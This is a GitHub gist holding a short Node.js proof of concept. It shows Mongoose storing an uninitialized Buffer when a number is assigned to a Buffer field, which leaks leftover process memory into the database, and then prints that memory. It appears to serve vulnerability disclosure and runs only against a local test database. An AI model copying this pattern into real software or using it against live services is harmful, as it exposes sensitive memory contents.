Skip to content

Instantly share code, notes, and snippets.

@ChALkeR
Created January 15, 2016 14:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ChALkeR/d4a8055625221b6e65f0 to your computer and use it in GitHub Desktop.
Save ChALkeR/d4a8055625221b6e65f0 to your computer and use it in GitHub Desktop.
Mongoose+Buffer unitialized Buffer sensitive information leak, v1
var mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/bufftest');
// data: Buffer is not uncommon, taken straight from the docs: http://mongoosejs.com/docs/schematypes.html
mongoose.model('Item', new mongoose.Schema({id: String, data: Buffer}));
var Item = mongoose.model('Item');
var sample = new Item();
sample.id = 'item1';
sample.data = 1000;
sample.save(function () {
Item.findOne(function (err, result) {
console.log(result.data.toString('ascii'))
mongoose.connection.db.dropDatabase(); // Clean up everything
process.exit();
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment